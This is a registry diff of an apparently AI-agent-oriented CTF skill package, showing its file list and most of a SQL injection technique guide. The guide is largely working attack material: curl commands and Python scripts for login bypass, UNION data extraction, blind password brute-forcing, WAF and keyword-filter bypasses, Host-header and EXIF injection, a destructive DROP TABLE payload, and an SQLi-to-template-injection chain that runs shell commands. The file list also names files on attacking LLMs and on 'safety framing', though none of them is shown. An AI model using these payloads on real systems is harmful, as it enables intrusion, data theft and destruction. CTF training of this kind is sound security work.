ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,790 @@
1
+ # CTF Web - SQL Injection Techniques
2
+
3
+ Comprehensive SQL injection techniques for CTF challenges. For other server-side attacks (SSTI, SSRF, XXE, command injection, GraphQL), see [server-side.md](server-side.md).
4
+
5
+ ## Table of Contents
6
+ - [Backslash Escape Quote Bypass](#backslash-escape-quote-bypass)
7
+ - [Hex Encoding for Quote Bypass](#hex-encoding-for-quote-bypass)
8
+ - [Second-Order SQL Injection](#second-order-sql-injection)
9
+ - [SQLi LIKE Character Brute-Force](#sqli-like-character-brute-force)
10
+ - [MySQL Column Truncation (VolgaCTF 2014)](#mysql-column-truncation-volgactf-2014)
11
+ - [SQLi to SSTI Chain](#sqli-to-ssti-chain)
12
+ - [MySQL information_schema.processList Trick](#mysql-information_schemaprocesslist-trick)
13
+ - [WAF Bypass via XML Entity Encoding (Crypto-Cat)](#waf-bypass-via-xml-entity-encoding-crypto-cat)
14
+ - [SQLi via EXIF Metadata Injection (29c3 CTF 2012)](#sqli-via-exif-metadata-injection-29c3-ctf-2012)
15
+ - [Shift-JIS Encoding SQL Injection (Boston Key Party 2016)](#shift-jis-encoding-sql-injection-boston-key-party-2016)
16
+ - [SQL Injection via QR Code Input (H4ckIT CTF 2016)](#sql-injection-via-qr-code-input-h4ckit-ctf-2016)
17
+ - [SQL Double-Keyword Filter Bypass (DefCamp CTF 2016)](#sql-double-keyword-filter-bypass-defcamp-ctf-2016)
18
+ - [MySQL Session Variable for Dual-Value Injection (MeePwn CTF 2017)](#mysql-session-variable-for-dual-value-injection-meepwn-ctf-2017)
19
+ - [PHP PCRE Backtrack Limit WAF Bypass (SECUINSIDE 2017)](#php-pcre-backtrack-limit-waf-bypass-secuinside-2017)
20
+ - [information_schema.processlist Race Condition Leak (SECUINSIDE 2017)](#information_schemaprocesslist-race-condition-leak-secuinside-2017)
21
+ - [SQL BETWEEN Operator Tautology Bypass (DefCamp 2017)](#sql-between-operator-tautology-bypass-defcamp-2017)
22
+ - [Host Header SQL Injection with PROCEDURE ANALYSE() (DefCamp 2017)](#host-header-sql-injection-with-procedure-analyse-defcamp-2017)
23
+ - [SQLite Blind SQLi via randomblob() Timing (SECCON 2017)](#sqlite-blind-sqli-via-randomblob-timing-seccon-2017)
24
+ - [vsprintf Double-Prepare Format String SQLi (AceBear 2018)](#vsprintf-double-prepare-format-string-sqli-acebear-2018)
25
+ - [SQL INSERT ON DUPLICATE KEY UPDATE Password Overwrite (Midnight Sun CTF 2018)](#sql-insert-on-duplicate-key-update-password-overwrite-midnight-sun-ctf-2018)
26
+ - [MySQL innodb_table_stats as information_schema Alternative (N1CTF 2018)](#mysql-innodb_table_stats-as-information_schema-alternative-n1ctf-2018)
27
+ - [SQLi Inline Comment Multi-Field Split (picoCTF 2018)](#sqli-inline-comment-multi-field-split-picoctf-2018)
28
+ - [PHP Full-Width Dollar Regex Anchor Bypass (Hack.lu CTF 2018)](#php-full-width-dollar-regex-anchor-bypass-hacklu-ctf-2018)
29
+ - [MySQL REGEXP Byte-by-Byte Oracle + Backtick Comment Bypass (BSides Delhi 2018)](#mysql-regexp-byte-by-byte-oracle--backtick-comment-bypass-bsides-delhi-2018)
30
+ - [LDAP Filter Breakout with Wildcard Injection (CSAW 2018)](#ldap-filter-breakout-with-wildcard-injection-csaw-2018)
31
+ - [ExpressionEngine FileManager ORDER BY Sort-Key SQLi (35C3 2018)](#expressionengine-filemanager-order-by-sort-key-sqli-35c3-2018)
32
+ - [PHP parse_str() Variable Injection (TokyoWesterns 2018)](#php-parse_str-variable-injection-tokyowesterns-2018)
33
+ - [SQLite UNION via X-Forwarded-For with PHPSESSID Oracle (NCSC 2019)](#sqlite-union-via-x-forwarded-for-with-phpsessid-oracle-ncsc-2019)
34
+ - [Quote-Adjacent UNION Keyword Filter Bypass (TAMUctf 2019)](#quote-adjacent-union-keyword-filter-bypass-tamuctf-2019)
35
+
36
+ ---
37
+
38
+ ## Backslash Escape Quote Bypass
39
+ ```bash
40
+ # Query: SELECT * FROM users WHERE username='$user' AND password='$pass'
41
+ # With username=\ : WHERE username='\' AND password='...'
42
+ curl -X POST http://target/login -d 'username=\&password= OR 1=1-- '
43
+ curl -X POST http://target/login -d 'username=\&password=UNION SELECT value,2 FROM flag-- '
44
+ ```
45
+
46
+ ## Hex Encoding for Quote Bypass
47
+ ```sql
48
+ SELECT 0x6d656f77; -- Returns 'meow'
49
+ -- Combined with UNION for SSTI injection:
50
+ username=asd\&password=) union select 1, 0x7b7b73656c662e5f5f696e69745f5f7d7d#
51
+ ```
52
+
53
+ ## Second-Order SQL Injection
54
+ **Pattern (Second Breakfast):** Inject SQL in username during registration, triggers on profile view.
55
+ 1. Register with malicious username: `' UNION select flag, CURRENT_TIMESTAMP from flags where 'a'='a`
56
+ 2. Login normally
57
+ 3. View profile → injected SQL executes in query using stored username
58
+
59
+ ```python
60
+ import requests
61
+
62
+ s = requests.Session()
63
+
64
+ # Step 1: Store malicious payload (safely escaped during INSERT)
65
+ s.post("https://target.com/register", data={
66
+ "username": "admin'-- -",
67
+ "password": "anything"
68
+ })
69
+
70
+ # Step 2: Trigger — payload retrieved from DB and used unsafely
71
+ # Common triggers: password change, profile update, search using stored value
72
+ s.post("https://target.com/change-password", data={
73
+ "old_password": "anything",
74
+ "new_password": "hacked"
75
+ })
76
+ # UPDATE users SET password='hacked' WHERE username='admin'-- -'
77
+ # Result: admin password changed
78
+ ```
79
+
80
+ **Key insight:** Second-order SQLi occurs when input is safely stored but later retrieved and used in a new query without escaping. Look for registration→profile update flows, stored preferences used in queries, or any feature that reads back user-controlled data from the database.
81
+
82
+ ## SQLi LIKE Character Brute-Force
83
+ ```python
84
+ password = ""
85
+ for pos in range(length):
86
+ for c in string.printable:
87
+ payload = f"' OR password LIKE '{password}{c}%' --"
88
+ if oracle(payload):
89
+ password += c; break
90
+ ```
91
+
92
+ ## MySQL Column Truncation (VolgaCTF 2014)
93
+
94
+ **Pattern:** Registration form backed by MySQL `VARCHAR(N)`. MySQL silently truncates strings longer than N characters, and ignores trailing spaces in string comparison. Register as `"admin" + spaces + junk` to create a duplicate "admin" row with an attacker-controlled password.
95
+
96
+ ```bash
97
+ # VARCHAR(20) column — pad "admin" (5 chars) to exceed column width
98
+ # MySQL truncates to "admin " → matches "admin" in comparisons
99
+
100
+ # Register duplicate admin with attacker password
101
+ curl -X POST http://target/register -d \
102
+ 'login=admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20x&password=attacker123'
103
+
104
+ # Login as admin with attacker password
105
+ curl -X POST http://target/login -d 'login=admin&password=attacker123'
106
+ ```
107
+
108
+ **Why it works:**
109
+ 1. MySQL `VARCHAR(N)` truncates input to N characters on INSERT
110
+ 2. MySQL ignores trailing spaces in `=` comparisons (SQL standard PAD SPACE behavior)
111
+ 3. `"admin" + 50 spaces + "x"` truncates to `"admin" + spaces` → matches `"admin"`
112
+ 4. The application now has two rows matching "admin" — the original and the attacker's
113
+
114
+ **Key insight:** MySQL's PAD SPACE collation means `"admin" = "admin "` evaluates to true. Combined with silent `VARCHAR` truncation, registering with a space-padded username creates a second account that the application treats as the original admin. This bypasses registration duplicate checks that use `WHERE username = ?` (since the padded version isn't an exact match before truncation). Fixed in MySQL 8.0+ with `NO_PAD` collations.
115
+
116
+ ## SQLi to SSTI Chain
117
+ When SQLi result gets rendered in a template:
118
+ ```python
119
+ payload = "{{self.__init__.__globals__.__builtins__.__import__('os').popen('/readflag').read()}}"
120
+ hex_payload = '0x' + payload.encode().hex()
121
+ # Final: username=x\&password=) union select 1, {hex_payload}#
122
+ ```
123
+
124
+ ## MySQL information_schema.processList Trick
125
+ ```sql
126
+ SELECT info FROM information_schema.processList WHERE id=connection_id()
127
+ SELECT substring(info, 315, 579) FROM information_schema.processList WHERE id=connection_id()
128
+ ```
129
+
130
+ ## WAF Bypass via XML Entity Encoding (Crypto-Cat)
131
+ When SQL keywords (`UNION`, `SELECT`) are blocked by a WAF, encode them as XML hex character references. The XML parser decodes entities before the SQL engine processes the query:
132
+ ```xml
133
+ <storeId>
134
+ 1 &#x55;&#x4e;&#x49;&#x4f;&#x4e; &#x53;&#x45;&#x4c;&#x45;&#x43;&#x54; username &#x46;&#x52;&#x4f;&#x4d; users
135
+ </storeId>
136
+ ```
137
+ This decodes to `1 UNION SELECT username FROM users` after XML processing.
138
+
139
+ **Encoding reference:**
140
+ | Keyword | XML Hex Entities |
141
+ |---------|-----------------|
142
+ | UNION | `&#x55;&#x4e;&#x49;&#x4f;&#x4e;` |
143
+ | SELECT | `&#x53;&#x45;&#x4c;&#x45;&#x43;&#x54;` |
144
+ | FROM | `&#x46;&#x52;&#x4f;&#x4d;` |
145
+ | WHERE | `&#x57;&#x48;&#x45;&#x52;&#x45;` |
146
+
147
+ **Key insight:** WAF inspects raw XML bytes and blocks keyword patterns, but the XML parser decodes `&#xNN;` entities before passing values to the SQL layer. Any endpoint accepting XML input (SOAP, REST with XML body, stock check APIs) is a candidate.
148
+
149
+ **With sqlmap:** Use the `hexentities` tamper script. To prevent `&amp;` double-encoding of entities, modify `sqlmap/lib/request/connect.py`.
150
+
151
+ ## SQLi via EXIF Metadata Injection (29c3 CTF 2012)
152
+
153
+ **Pattern:** Application extracts EXIF metadata from uploaded images (e.g., Comment, Artist, Description, Copyright) and inserts the values into SQL queries without sanitization. SQL payloads embedded in EXIF fields bypass WAFs that only inspect HTTP request bodies and URL parameters.
154
+
155
+ **Injecting SQL into EXIF fields:**
156
+ ```bash
157
+ # Set EXIF Comment field to SQL payload
158
+ exiftool -Comment="' UNION SELECT password FROM users--" image.jpg
159
+
160
+ # Other injectable EXIF fields
161
+ exiftool -Artist="' OR 1=1--" image.jpg
162
+ exiftool -ImageDescription="'; DROP TABLE uploads;--" image.jpg
163
+ exiftool -Copyright="' UNION SELECT flag FROM flags--" image.jpg
164
+
165
+ # XMP metadata (often parsed by web applications)
166
+ exiftool -XMP-dc:Description="' UNION SELECT 1,2,3--" image.jpg
167
+ ```
168
+
169
+ **Key insight:** Image galleries, photo management apps, and any upload endpoint that stores or displays EXIF data may feed metadata directly into SQL queries. WAFs and input filters typically inspect form fields and URL parameters but not binary file content. The EXIF fields survive re-encoding unless the application explicitly strips metadata (e.g., with `exiftool -all=`).
170
+
171
+ **Detection:** Upload endpoint that displays metadata (camera model, description, location) after upload. Check if special characters in EXIF fields cause SQL errors in the response.
172
+
173
+ ## Shift-JIS Encoding SQL Injection (Boston Key Party 2016)
174
+
175
+ Multi-byte encoding mismatch bypasses escape functions. The yen sign (`\u00a5`) maps to backslash `0x5c` in Shift-JIS. A custom escape function adds backslash after yen, but in Shift-JIS context `\u00a5\` becomes `\\`, leaving the quote unescaped:
176
+
177
+ ```javascript
178
+ socket.send('{"type":"get_answer","answer":"\\u00a5\\" OR 1=1 -- "}')
179
+ ```
180
+
181
+ **Key insight:** Charset mismatch between escaping layer (Unicode) and database layer (Shift-JIS) defeats custom escape routines. Look for applications using non-UTF-8 character encodings (Shift-JIS, EUC-JP, GBK) where multi-byte characters contain `0x5c` (backslash) as a trailing byte.
182
+
183
+ ## SQL Injection via QR Code Input (H4ckIT CTF 2016)
184
+
185
+ Applications that decode QR codes and use the contents in SQL queries create an injection vector through the QR image itself.
186
+
187
+ ```python
188
+ import qrcode
189
+ import base64
190
+ import requests
191
+
192
+ # Generate QR code containing SQL injection payload
193
+ # Spaces may be filtered - use tabs instead
194
+ payload = "'\tunion\tselect\tsecret_field\tfrom\tmessages\twhere\tsecret_field\tlike\t'%flag%"
195
+
196
+ # Some apps use reversed base64: encode, reverse, then QR-encode
197
+ encoded = base64.b64encode(payload.encode()).decode().strip()
198
+ # reversed_encoded = encoded[::-1] # if app reverses base64
199
+
200
+ # Generate QR code image
201
+ img = qrcode.make(payload)
202
+ img.save("sqli_qr.png")
203
+
204
+ # Upload QR code to target application
205
+ files = {'qr': open('sqli_qr.png', 'rb')}
206
+ r = requests.post('http://target/scan', files=files)
207
+ ```
208
+
209
+ **Key insight:** QR codes are often trusted as "safe" input. When decoded QR content flows into SQL queries, standard SQLi techniques apply but with tab characters (`\t`) replacing spaces when space filtering is active. The QR encoding adds an obfuscation layer that may bypass WAFs.
210
+
211
+ ## SQL Double-Keyword Filter Bypass (DefCamp CTF 2016)
212
+
213
+ Bypass SQL keyword filters that perform single-pass removal by nesting the keyword inside itself, so removal reveals the original keyword.
214
+
215
+ ```text
216
+ # Filter removes "select" once from input
217
+ # Payload: sselectelect -> after removal -> select
218
+
219
+ # Full injection with nested keywords:
220
+ ), ((selselectect * frofromm (seselectlect load_load_filefile('/flag')) as a limit 0, 1), '2') #
221
+
222
+ # Common nested bypass patterns:
223
+ # "select" blocked: sselectelect, seLselectECT
224
+ # "union" blocked: ununionion
225
+ # "from" blocked: frofromm
226
+ # "where" blocked: whewherere
227
+ # "load_file" blocked: load_load_filefile
228
+ # "and" blocked: aandnd
229
+ # "or" blocked: oorr
230
+ ```
231
+
232
+ **Key insight:** Single-pass keyword filters that replace/remove SQL keywords once are trivially bypassed by embedding the keyword within itself. The outer characters survive removal, reconstructing the forbidden keyword. Always test if the filter runs iteratively or just once.
233
+
234
+ ## MySQL Session Variable for Dual-Value Injection (MeePwn CTF 2017)
235
+
236
+ When the same SQL parameter is evaluated in two sequential queries within a single database connection, MySQL session variables (`@var:=`) can return different values on each evaluation.
237
+
238
+ ```sql
239
+ -- First eval returns 2, second returns 1
240
+ case when @wurst is null then @wurst:=2 else @wurst:=@wurst-1 end
241
+ ```
242
+
243
+ **Example scenario:**
244
+ ```sql
245
+ -- Application runs two queries with the same injected parameter:
246
+ -- Query 1: SELECT * FROM users WHERE role = [INJECTION]
247
+ -- Query 2: INSERT INTO log (action) VALUES ([INJECTION])
248
+ -- Need role=2 for admin in Query 1, but action=1 to avoid alert in Query 2
249
+
250
+ -- Injection:
251
+ ' OR role = (case when @w is null then @w:=2 else @w:=@w-1 end) --
252
+ ```
253
+
254
+ **Key insight:** Session variables persist across queries within a connection. Using `CASE WHEN @var IS NULL` initializes on first use and mutates on subsequent uses, allowing a single injection point to satisfy different conditions in sequential queries. This is useful when the same user input is interpolated into multiple SQL statements executed in sequence.
255
+
256
+ ## PHP PCRE Backtrack Limit WAF Bypass (SECUINSIDE 2017)
257
+
258
+ PHP's `preg_match()` silently returns `false` (not `0`) when the PCRE backtrack limit is exceeded. Appending 1M+ characters to input forces backtracking beyond the default limit (1,000,000), causing the regex to fail to match.
259
+
260
+ ```python
261
+ # Bypass preg_match WAF by exceeding backtrack limit
262
+ payload = "union select 1,2,3-- " + "a" * 1000001
263
+ # preg_match returns false (error) instead of 0 (no match)
264
+ # Most PHP code checks: if (!preg_match(...)) { allow; }
265
+ ```
266
+
267
+ ```php
268
+ // Vulnerable WAF pattern:
269
+ if (!preg_match('/union|select|from/i', $_GET['input'])) {
270
+ // preg_match returns false on backtrack overflow
271
+ // !false === true → WAF bypassed
272
+ $result = mysql_query("SELECT * FROM data WHERE id = " . $_GET['input']);
273
+ }
274
+ ```
275
+
276
+ **Key insight:** PHP's PCRE backtrack limit (`pcre.backtrack_limit`, default 1M) causes `preg_match()` to return `false` on overflow, which many WAFs treat as "no match" due to loose comparison (`!false == true`). The fix is to check `preg_match() === 0` (strict comparison) rather than `!preg_match()`. This works against any regex-based WAF in PHP that uses loose comparison on the return value.
277
+
278
+ ## information_schema.processlist Race Condition Leak (SECUINSIDE 2017)
279
+
280
+ Race SQL injection against concurrent requests to leak data from `information_schema.processlist`, which shows currently executing queries including sensitive values like encryption keys.
281
+
282
+ ```sql
283
+ -- Leak AES key from concurrent query via processlist
284
+ union select 1,(select INFO from information_schema.processlist
285
+ where INFO like 0x256465637279707425),3,4 from board
286
+ -- The '%decrypt%' hex pattern matches the concurrent query containing the key
287
+ ```
288
+
289
+ ```python
290
+ import requests
291
+ import threading
292
+
293
+ # Race condition: fire injection while the app is running a sensitive query
294
+ def trigger_sensitive_query():
295
+ """Application query that contains the AES key"""
296
+ requests.get("http://target/decrypt?data=encrypted_blob")
297
+
298
+ def leak_processlist():
299
+ """Injection that reads from processlist"""
300
+ payload = "1 union select 1,(select INFO from information_schema.processlist where INFO like 0x256465637279707425),3,4-- "
301
+ r = requests.get(f"http://target/search?id={payload}")
302
+ if "AES_DECRYPT" in r.text:
303
+ print(f"Leaked: {r.text}")
304
+
305
+ # Fire both concurrently
306
+ for _ in range(100):
307
+ t1 = threading.Thread(target=trigger_sensitive_query)
308
+ t2 = threading.Thread(target=leak_processlist)
309
+ t1.start()
310
+ t2.start()
311
+ t1.join()
312
+ t2.join()
313
+ ```
314
+
315
+ **Key insight:** `information_schema.processlist.INFO` exposes the full SQL text of all currently running queries on the MySQL server. By racing an injection query against a concurrent application query that references secrets, those secrets can be captured from the process list. This extends the existing `information_schema.processList` trick by adding a timing/race component to capture transient queries that contain secrets (encryption keys, passwords) only visible during execution.
316
+
317
+ ---
318
+
319
+ ## SQL BETWEEN Operator Tautology Bypass (DefCamp 2017)
320
+
321
+ **Pattern:** When a WAF blocks comparison operators (`=`, `<`, `>`) and numeric literals, use `id BETWEEN id AND id` as a tautology. Both bounds are column references (not filtered literals), and the expression is always true since a value is always between itself and itself.
322
+
323
+ ```sql
324
+ -- Blocked by WAF: digits and comparison operators filtered
325
+ -- id=1 → blocked, id>0 → blocked, 1=1 → blocked
326
+
327
+ -- BETWEEN with column names as bounds (always true):
328
+ id BETWEEN id AND id -- semantically: id <= id AND id >= id → always true
329
+
330
+ -- Full bypass with UNION:
331
+ ' OR id BETWEEN id AND id UNION SELECT flag,2,3 FROM flags--
332
+
333
+ -- When even UNION is blocked, use with conditional:
334
+ id BETWEEN id AND id AND (SELECT SUBSTR(flag,1,1) FROM flags) BETWEEN 'a' AND 'z'
335
+ ```
336
+
337
+ ```python
338
+ import requests
339
+
340
+ def sqli_between(position, low_char, high_char):
341
+ """Binary search using BETWEEN for character-by-character extraction."""
342
+ payload = (
343
+ f"' OR id BETWEEN id AND id "
344
+ f"AND SUBSTR((SELECT flag FROM flags LIMIT 1),{position},1) "
345
+ f"BETWEEN '{low_char}' AND '{high_char}'-- "
346
+ )
347
+ r = requests.get("http://target/item", params={"id": payload})
348
+ return "result" in r.text # truthy response = condition matched
349
+ ```
350
+
351
+ **Combining with schema enumeration when `information_schema` is blocked:**
352
+ ```sql
353
+ -- PROCEDURE ANALYSE() as alternative (see next technique)
354
+ SELECT * FROM users WHERE id BETWEEN id AND id PROCEDURE ANALYSE()
355
+ ```
356
+
357
+ **Key insight:** SQL `BETWEEN col AND col` with the same column as both bounds is semantically a tautology but syntactically avoids digit and comparison operator signatures. Combine with string column references for blind extraction when numeric literals and `=`/`<`/`>` are filtered.
358
+
359
+ ---
360
+
361
+ ## Host Header SQL Injection with PROCEDURE ANALYSE() (DefCamp 2017)
362
+
363
+ **Pattern:** The HTTP `Host` header is used in a SQL query (e.g., to log access or resolve virtual hosts) without sanitization. Since Host is rarely tested by WAFs, standard injection techniques work. When `information_schema` is blocked, MySQL's `PROCEDURE ANALYSE()` provides table and column enumeration.
364
+
365
+ ```bash
366
+ # Test: inject into Host header
367
+ curl -H "Host: ' OR '1'='1'--" http://target/
368
+ # If response differs → Host header is injected into SQL
369
+
370
+ # UNION injection via Host header:
371
+ curl -H "Host: ' UNION SELECT table_name,2,3 FROM information_schema.tables-- " http://target/
372
+
373
+ # When information_schema is blocked, use PROCEDURE ANALYSE():
374
+ curl -H "Host: ' UNION SELECT * FROM users PROCEDURE ANALYSE()-- " http://target/
375
+ # PROCEDURE ANALYSE() returns column types and suggested data types, leaking column names
376
+ ```
377
+
378
+ ```python
379
+ import requests
380
+
381
+ TARGET = "http://target/"
382
+
383
+ def host_sqli(payload):
384
+ r = requests.get(TARGET, headers={"Host": payload})
385
+ return r.text
386
+
387
+ # Enumerate tables via PROCEDURE ANALYSE() when information_schema blocked:
388
+ # First: get column names from a known/guessed table
389
+ result = host_sqli("' UNION SELECT username,password FROM users PROCEDURE ANALYSE()-- ")
390
+ print(result)
391
+
392
+ # PROCEDURE ANALYSE() output includes: field names, min/max values, optimal data type
393
+ # This leaks column names, row counts, and sample values
394
+ ```
395
+
396
+ **PROCEDURE ANALYSE() output structure:**
397
+ ```sql
398
+ -- Returns rows like:
399
+ -- Field_name: database.table.column
400
+ -- Min_value / Max_value: actual data ranges
401
+ -- Optimal_fieldtype: suggested column type
402
+ -- The "Field_name" column leaks fully qualified column names: db.table.column
403
+ ```
404
+
405
+ **Other Host header injection vectors:**
406
+ ```text
407
+ X-Forwarded-For # logged to DB as client IP
408
+ X-Real-IP # same
409
+ User-Agent # logged for analytics
410
+ Referer # logged for referral tracking
411
+ ```
412
+
413
+ **Key insight:** `PROCEDURE ANALYSE()` is a MySQL-specific alternative to `information_schema` for schema enumeration — it analyzes the result set and returns column metadata. Host header injection is often overlooked by WAFs and developers because it's not a typical user input field, yet it frequently flows into SQL queries for logging, virtual hosting, or analytics.
414
+
415
+ ---
416
+
417
+ ## SQLite Blind SQLi via randomblob() Timing (SECCON 2017)
418
+
419
